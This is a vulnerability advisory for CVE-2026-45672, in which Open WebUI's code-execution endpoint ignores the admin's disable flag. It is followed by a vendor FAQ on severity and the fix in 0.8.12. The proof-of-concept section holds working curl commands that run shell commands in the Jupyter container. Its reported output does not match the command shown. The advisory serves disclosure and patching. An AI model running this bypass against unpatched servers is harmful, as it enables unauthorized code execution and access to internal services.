CVE-2026-45672

The /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint, the configuration says "disabled" but code still executes.

Details

The admin configuration correctly shows ENABLE_CODE_EXECUTION: false. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container.

PoC

Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.

Setup: Jupyter server connected, ENABLE_CODE_EXECUTION=false confirmed in admin config.

# Step 1: Verify code execution is disabled
curl -s http://target:8080/api/v1/configs/code_execution \
  -H "Authorization: Bearer $TOKEN"
# Returns: {"ENABLE_CODE_EXECUTION": false, ...}

# Step 2: Execute code anyway, gate bypassed
curl -s -X POST http://target:8080/api/v1/utils/code/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"code":"import os; print(os.popen(\"id\").read())"}'

Verified output:

Config: {"ENABLE_CODE_EXECUTION":false,"CODE_EXECUTION_ENGINE":"jupyter",...}

execute_status=200
execute_body={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""}

The PoC read the internal secret service content via Jupyter, despite ENABLE_CODE_EXECUTION=false. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector.

Resolution

Fixed in commit 6d736d3c5, first released in v0.8.12. The /api/v1/utils/code/execute handler in backend/open_webui/routers/utils.py now checks request.app.state.config.ENABLE_CODE_EXECUTION before dispatching to the Jupyter engine and returns 403 with FEATURE_DISABLED('Code execution') when the admin has disabled the flag. The retrieval-side code path was gated in the same commit. Users on >= 0.8.12 are not affected.

Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution:

• Arbitrary code execution in the Jupyter container (read files, spawn processes)
• Network access to all internal Docker services from the Jupyter container
• Data exfiltration from internal services
• The admin's security configuration (ENABLE_CODE_EXECUTION=false) is silently ineffective
• Users who are told "code execution is disabled" have a false sense of security

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-45672 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.12); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45672? CVE-2026-45672 is a high-severity incorrect authorization vulnerability in open-webui (pip), affecting versions <= 0.8.11. It is fixed in 0.8.12. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-45672? CVE-2026-45672 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45672? open-webui (pip) versions <= 0.8.11 is affected.
4. Is there a fix for CVE-2026-45672? Yes. CVE-2026-45672 is fixed in 0.8.12. Upgrade to this version or later.
5. Is CVE-2026-45672 exploitable, and should I be worried? Whether CVE-2026-45672 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45672 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45672? Upgrade open-webui to 0.8.12 or later.